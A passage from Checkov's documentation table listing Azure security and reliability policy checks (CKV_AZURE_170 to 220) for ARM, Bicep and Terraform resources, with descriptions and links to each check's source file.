(AKS) nodes use scale sets | Terraform | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSPoolTypeIsScaleSet.py) | | 6031 | CKV_AZURE_170 | resource | azurerm_kubernetes_cluster | Ensure that AKS use the Paid Sku for its SLA | Terraform | [AKSIsPaidSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSIsPaidSku.py) | | 6032 | CKV_AZURE_171 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster upgrade channel is chosen | arm | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py) | | 6033 | CKV_AZURE_171 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster upgrade channel is chosen | Bicep | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py) | | 6034 | CKV_AZURE_171 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster upgrade channel is chosen | Terraform | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUpgradeChannel.py) | | 6035 | CKV_AZURE_172 | resource | Microsoft.ContainerService/managedClusters | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters | arm | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py) | | 6036 | CKV_AZURE_172 | resource | Microsoft.ContainerService/managedClusters | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters | Bicep | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py) | | 6037 | CKV_AZURE_172 | resource | azurerm_kubernetes_cluster | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters | Terraform | [AKSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSSecretStoreRotation.py) | | 6038 | CKV_AZURE_173 | resource | Microsoft.ApiManagement/service | Ensure API management uses at least TLS 1.2 | arm | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py) | | 6039 | CKV_AZURE_173 | resource | Microsoft.ApiManagement/service | Ensure API management uses at least TLS 1.2 | Bicep | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py) | | 6040 | CKV_AZURE_173 | resource | azurerm_api_management | Ensure API management uses at least TLS 1.2 | Terraform | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementMinTLS12.py) | | 6041 | CKV_AZURE_174 | resource | Microsoft.ApiManagement/service | Ensure API management public access is disabled | arm | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py) | | 6042 | CKV_AZURE_174 | resource | Microsoft.ApiManagement/service | Ensure API management public access is disabled | Bicep | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py) | | 6043 | CKV_AZURE_174 | resource | azurerm_api_management | Ensure API management public access is disabled | Terraform | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementPublicAccess.py) | | 6044 | CKV_AZURE_175 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses a SKU with an SLA | arm | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py) | | 6045 | CKV_AZURE_175 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses a SKU with an SLA | Bicep | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py) | | 6046 | CKV_AZURE_175 | resource | azurerm_web_pubsub | Ensure Web PubSub uses a SKU with an SLA | Terraform | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSKUSLA.py) | | 6047 | CKV_AZURE_176 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses managed identities to access Azure resources | arm | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py) | | 6048 | CKV_AZURE_176 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses managed identities to access Azure resources | Bicep | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py) | | 6049 | CKV_AZURE_176 | resource | azurerm_web_pubsub | Ensure Web PubSub uses managed identities to access Azure resources | Terraform | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PubsubSpecifyIdentity.py) | | 6050 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Windows VM enables automatic updates | arm | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 6051 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Windows VM enables automatic updates | Bicep | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 6052 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables automatic updates | arm | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 6053 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables automatic updates | Bicep | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 6054 | CKV_AZURE_177 | resource | azurerm_windows_virtual_machine | Ensure Windows VM enables automatic updates | Terraform | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py) | | 6055 | CKV_AZURE_177 | resource | azurerm_windows_virtual_machine_scale_set | Ensure Windows VM enables automatic updates | Terraform | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMAutomaticUpdates.py) | | 6056 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure linux VM enables SSH with keys for secure communication | arm | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 6057 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure linux VM enables SSH with keys for secure communication | Bicep | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 6058 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachines | Ensure linux VM enables SSH with keys for secure communication | arm | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 6059 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachines | Ensure linux VM enables SSH with keys for secure communication | Bicep | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 6060 | CKV_AZURE_178 | resource | azurerm_linux_virtual_machine | Ensure linux VM enables SSH with keys for secure communication | Terraform | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py) | | 6061 | CKV_AZURE_178 | resource | azurerm_linux_virtual_machine_scale_set | Ensure linux VM enables SSH with keys for secure communication | Terraform | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/LinuxVMUsesSSH.py) | | 6062 | CKV_AZURE_179 | resource | azurerm_linux_virtual_machine | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 6063 | CKV_AZURE_179 | resource | azurerm_linux_virtual_machine_scale_set | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 6064 | CKV_AZURE_179 | resource | azurerm_windows_virtual_machine | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 6065 | CKV_AZURE_179 | resource | azurerm_windows_virtual_machine_scale_set | Ensure VM agent is installed | Terraform | [VMAgentIsInstalled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMAgentIsInstalled.py) | | 6066 | CKV_AZURE_180 | resource | azurerm_kusto_cluster | Ensure that data explorer uses Sku with an SLA | Terraform | [DataExplorerSKUHasSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerSKUHasSLA.py) | | 6067 | CKV_AZURE_181 | resource | azurerm_kusto_cluster | Ensure that data explorer/Kusto uses managed identities to access Azure resources securely. | Terraform | [DataExplorerServiceIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerServiceIdentity.py) | | 6068 | CKV_AZURE_182 | resource | Microsoft.Network/networkInterfaces | Ensure that VNET has at least 2 connected DNS Endpoints | arm | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 6069 | CKV_AZURE_182 | resource | Microsoft.Network/networkInterfaces | Ensure that VNET has at least 2 connected DNS Endpoints | Bicep | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 6070 | CKV_AZURE_182 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET has at least 2 connected DNS Endpoints | arm | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 6071 | CKV_AZURE_182 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET has at least 2 connected DNS Endpoints | Bicep | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 6072 | CKV_AZURE_182 | resource | azurerm_virtual_network | Ensure that VNET has at least 2 connected DNS Endpoints | Terraform | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py) | | 6073 | CKV_AZURE_182 | resource | azurerm_virtual_network_dns_servers | Ensure that VNET has at least 2 connected DNS Endpoints | Terraform | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetSingleDNSServer.py) | | 6074 | CKV_AZURE_183 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET uses local DNS addresses | arm | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py) | | 6075 | CKV_AZURE_183 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET uses local DNS addresses | Bicep | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py) | | 6076 | CKV_AZURE_183 | resource | azurerm_virtual_network | Ensure that VNET uses local DNS addresses | Terraform | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VnetLocalDNS.py) | | 6077 | CKV_AZURE_184 | resource | azurerm_app_configuration | Ensure 'local_auth_enabled' is set to 'False' | Terraform | [AppConfigLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigLocalAuth.py) | | 6078 | CKV_AZURE_185 | resource | azurerm_app_configuration | Ensure 'Public Access' is not Enabled for App configuration | Terraform | [AppConfigPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPublicAccess.py) | | 6079 | CKV_AZURE_186 | resource | azurerm_app_configuration | Ensure App configuration encryption block is set. | Terraform | [AppConfigEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigEncryption.py) | | 6080 | CKV_AZURE_187 | resource | azurerm_app_configuration | Ensure App configuration purge protection is enabled | Terraform | [AppConfigPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigPurgeProtection.py) | | 6081 | CKV_AZURE_188 | resource | azurerm_app_configuration | Ensure App configuration Sku is standard | Terraform | [AppConfigSku.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppConfigSku.py) | | 6082 | CKV_AZURE_189 | resource | Microsoft.KeyVault/vaults | Ensure that Azure Key Vault disables public network access | arm | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py) | | 6083 | CKV_AZURE_189 | resource | Microsoft.KeyVault/vaults | Ensure that Azure Key Vault disables public network access | Bicep | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py) | | 6084 | CKV_AZURE_189 | resource | azurerm_key_vault | Ensure that Azure Key Vault disables public network access | Terraform | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultDisablesPublicNetworkAccess.py) | | 6085 | CKV_AZURE_190 | resource | azurerm_storage_account | Ensure that Storage blobs restrict public access | Terraform | [StorageBlobRestrictPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobRestrictPublicAccess.py) | | 6086 | CKV_AZURE_191 | resource | Microsoft.EventGrid/topics | Ensure that Managed identity provider is enabled for Azure Event Grid Topic | arm | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py) | | 6087 | CKV_AZURE_191 | resource | Microsoft.EventGrid/topics | Ensure that Managed identity provider is enabled for Azure Event Grid Topic | Bicep | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py) | | 6088 | CKV_AZURE_191 | resource | azurerm_eventgrid_topic | Ensure that Managed identity provider is enabled for Azure Event Grid Topic | Terraform | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicIdentityProviderEnabled.py) | | 6089 | CKV_AZURE_192 | resource | Microsoft.EventGrid/topics | Ensure that Azure Event Grid Topic local Authentication is disabled | arm | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py) | | 6090 | CKV_AZURE_192 | resource | Microsoft.EventGrid/topics | Ensure that Azure Event Grid Topic local Authentication is disabled | Bicep | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py) | | 6091 | CKV_AZURE_192 | resource | azurerm_eventgrid_topic | Ensure that Azure Event Grid Topic local Authentication is disabled | Terraform | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicLocalAuthentication.py) | | 6092 | CKV_AZURE_193 | resource | Microsoft.EventGrid/topics | Ensure public network access is disabled for Azure Event Grid Topic | arm | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py) | | 6093 | CKV_AZURE_193 | resource | Microsoft.EventGrid/topics | Ensure public network access is disabled for Azure Event Grid Topic | Bicep | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py) | | 6094 | CKV_AZURE_193 | resource | azurerm_eventgrid_topic | Ensure public network access is disabled for Azure Event Grid Topic | Terraform | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridTopicNetworkAccess.py) | | 6095 | CKV_AZURE_194 | resource | azurerm_eventgrid_domain | Ensure that Managed identity provider is enabled for Azure Event Grid Domain | Terraform | [EventgridDomainIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainIdentityProviderEnabled.py) | | 6096 | CKV_AZURE_195 | resource | azurerm_eventgrid_domain | Ensure that Azure Event Grid Domain local Authentication is disabled | Terraform | [EventgridDomainLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainLocalAuthentication.py) | | 6097 | CKV_AZURE_196 | resource | azurerm_signalr_service | Ensure that SignalR uses a Paid Sku for its SLA | Terraform | [SignalRSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SignalRSKUSLA.py) | | 6098 | CKV_AZURE_197 | resource | azurerm_cdn_endpoint | Ensure the Azure CDN disables the HTTP endpoint | Terraform | [CDNDisableHttpEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNDisableHttpEndpoints.py) | | 6099 | CKV_AZURE_198 | resource | azurerm_cdn_endpoint | Ensure the Azure CDN enables the HTTPS endpoint | Terraform | [CDNEnableHttpsEndpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNEnableHttpsEndpoints.py) | | 6100 | CKV_AZURE_199 | resource | azurerm_servicebus_namespace | Ensure that Azure Service Bus uses double encryption | Terraform | [AzureServicebusDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusDoubleEncryptionEnabled.py) | | 6101 | CKV_AZURE_200 | resource | azurerm_cdn_endpoint_custom_domain | Ensure the Azure CDN endpoint is using the latest version of TLS encryption | Terraform | [CDNTLSProtocol12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CDNTLSProtocol12.py) | | 6102 | CKV_AZURE_201 | resource | azurerm_servicebus_namespace | Ensure that Azure Service Bus uses a customer-managed key to encrypt data | Terraform | [AzureServicebusHasCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusHasCMK.py) | | 6103 | CKV_AZURE_202 | resource | azurerm_servicebus_namespace | Ensure that Managed identity provider is enabled for Azure Service Bus | Terraform | [AzureServicebusIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusIdentityProviderEnabled.py) | | 6104 | CKV_AZURE_203 | resource | azurerm_servicebus_namespace | Ensure Azure Service Bus Local Authentication is disabled | Terraform | [AzureServicebusLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusLocalAuthDisabled.py) | | 6105 | CKV_AZURE_204 | resource | azurerm_servicebus_namespace | Ensure 'public network access enabled' is set to 'False' for Azure Service Bus | Terraform | [AzureServicebusPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusPublicAccessDisabled.py) | | 6106 | CKV_AZURE_205 | resource | azurerm_servicebus_namespace | Ensure Azure Service Bus is using the latest version of TLS encryption | Terraform | [AzureServicebusMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServicebusMinTLSVersion.py) | | 6107 | CKV_AZURE_206 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage Accounts use replication | arm | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py) | | 6108 | CKV_AZURE_206 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage Accounts use replication | Bicep | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py) | | 6109 | CKV_AZURE_206 | resource | azurerm_storage_account | Ensure that Storage Accounts use replication | Terraform | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountsUseReplication.py) | | 6110 | CKV_AZURE_207 | resource | azurerm_search_service | Ensure Azure Cognitive Search service uses managed identities to access Azure resources | Terraform | [AzureSearchManagedIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchManagedIdentity.py) | | 6111 | CKV_AZURE_208 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for index updates | arm | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py) | | 6112 | CKV_AZURE_208 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for index updates | Bicep | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py) | | 6113 | CKV_AZURE_208 | resource | azurerm_search_service | Ensure that Azure Cognitive Search maintains SLA for index updates | Terraform | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAIndex.py) | | 6114 | CKV_AZURE_209 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for search index queries | arm | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py) | | 6115 | CKV_AZURE_209 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for search index queries | Bicep | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py) | | 6116 | CKV_AZURE_209 | resource | azurerm_search_service | Ensure that Azure Cognitive Search maintains SLA for search index queries | Terraform | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAQueryUpdates.py) | | 6117 | CKV_AZURE_210 | resource | azurerm_search_service | Ensure Azure Cognitive Search service allowed IPS does not give public Access | Terraform | [AzureSearchAllowedIPsNotGlobal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchAllowedIPsNotGlobal.py) | | 6118 | CKV_AZURE_211 | resource | azurerm_service_plan | Ensure App Service plan suitable for production use | Terraform | [AppServiceSkuMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSkuMinimum.py) | | 6119 | CKV_AZURE_212 | resource | Microsoft.Web/sites | Ensure App Service has a minimum number of instances for failover | arm | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 6120 | CKV_AZURE_212 | resource | Microsoft.Web/sites | Ensure App Service has a minimum number of instances for failover | Bicep | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 6121 | CKV_AZURE_212 | resource | Microsoft.Web/sites/slots | Ensure App Service has a minimum number of instances for failover | arm | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 6122 | CKV_AZURE_212 | resource | Microsoft.Web/sites/slots | Ensure App Service has a minimum number of instances for failover | Bicep | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 6123 | CKV_AZURE_212 | resource | azurerm_service_plan | Ensure App Service has a minimum number of instances for failover | Terraform | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceInstanceMinimum.py) | | 6124 | CKV_AZURE_213 | resource | Microsoft.Web/sites | Ensure that App Service configures health check | arm | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 6125 | CKV_AZURE_213 | resource | Microsoft.Web/sites | Ensure that App Service configures health check | Bicep | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 6126 | CKV_AZURE_213 | resource | Microsoft.Web/sites/slots | Ensure that App Service configures health check | arm | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 6127 | CKV_AZURE_213 | resource | Microsoft.Web/sites/slots | Ensure that App Service configures health check | Bicep | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 6128 | CKV_AZURE_213 | resource | azurerm_app_service | Ensure that App Service configures health check | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py) | | 6129 | CKV_AZURE_213 | resource | azurerm_linux_web_app | Ensure that App Service configures health check | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py) | | 6130 | CKV_AZURE_213 | resource | azurerm_windows_web_app | Ensure that App Service configures health check | Terraform | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py) | | 6131 | CKV_AZURE_214 | resource | azurerm_linux_web_app | Ensure App Service is set to be always on | Terraform | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py) | | 6132 | CKV_AZURE_214 | resource | azurerm_windows_web_app | Ensure App Service is set to be always on | Terraform | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py) | | 6133 | CKV_AZURE_215 | resource | azurerm_api_management_backend | Ensure API management backend uses https | Terraform | [APIManagementBackendHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementBackendHTTPS.py) | | 6134 | CKV_AZURE_216 | resource | Microsoft.Network/azureFirewalls | Ensure DenyIntelMode is set to Deny for Azure Firewalls | arm | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py) | | 6135 | CKV_AZURE_216 | resource | Microsoft.Network/azureFirewalls | Ensure DenyIntelMode is set to Deny for Azure Firewalls | Bicep | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py) | | 6136 | CKV_AZURE_216 | resource | azurerm_firewall | Ensure DenyIntelMode is set to Deny for Azure Firewalls | Terraform | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDenyThreatIntelMode.py) | | 6137 | CKV_AZURE_217 | resource | azurerm_application_gateway | Ensure Azure Application gateways listener that allow connection requests over HTTP | Terraform | [AppGWUsesHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUsesHttps.py) | | 6138 | CKV_AZURE_218 | resource | Microsoft.Network/applicationGateways | Ensure Application Gateway defines secure protocols for in transit communication | arm | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py) | | 6139 | CKV_AZURE_218 | resource | Microsoft.Network/applicationGateways | Ensure Application Gateway defines secure protocols for in transit communication | Bicep | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py) | | 6140 | CKV_AZURE_218 | resource | azurerm_application_gateway | Ensure Application Gateway defines secure protocols for in transit communication | Terraform | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWDefinesSecureProtocols.py) | | 6141 | CKV_AZURE_219 | resource | azurerm_firewall | Ensure Firewall defines a firewall policy | Terraform | [AzureFirewallDefinesPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDefinesPolicy.py) | | 6142 | CKV_AZURE_220 | resource | azurerm_firewall_policy | Ensure Firewall policy has IDPS mode 